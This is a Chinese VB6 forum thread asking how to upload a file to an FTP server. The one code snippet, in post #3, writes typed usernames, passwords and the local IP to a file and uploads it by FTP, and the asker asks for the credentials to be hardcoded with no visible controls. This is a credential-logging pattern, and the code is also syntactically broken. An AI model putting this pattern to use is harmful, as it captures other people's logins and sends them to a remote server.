请教：向FTP服务器上传文件的vb6代码如何写？谢谢。 - 编程论坛

#2

xiangyue05102015-11-04 09:31

附件里面有一个完整的例子，你自己研究一下。

只有本站会员才能查看附件，请登录

#3

HVB62015-11-04 10:48

回复 2楼 xiangyue0510

谢谢。
以下的代码，谁给修改，即把IP、用户名、密码均写入代码中，不要任何控件。上传文件目的地：192.169.11.3\a\b\c\e\f\g\k963.txt
本地路径：F:\wwq\\k963.txt
Private Sub Command1_Click()
Open "C:\1.txt" For Append As #1
Print #1, "用户名："; Text1.Text, "密码："; Text2.Text, "来自于："; Winsock1.LocalIP, ""
Close #1
End Sub
Inet1.URL = "" ' ftp地址
Inet1.Protocol = 2
Inet1.UserName = "" '用户名
Inet1.Password = "" ' 密码
Inet1.Execute , "PUT " & "c:\1.txt" & " 1.txt"
Do While Inet1.StillExecuting
DoEvents
Loop
MsgBox "OK啦!", vbInformation, "提示"
End Sub

[此贴子已经被作者于2015-11-4 15:16编辑过]

#4

wmf20142015-11-04 20:22

Inet不就是控件？

#5

wqsk0012016-07-28 19:36

正需要，谢谢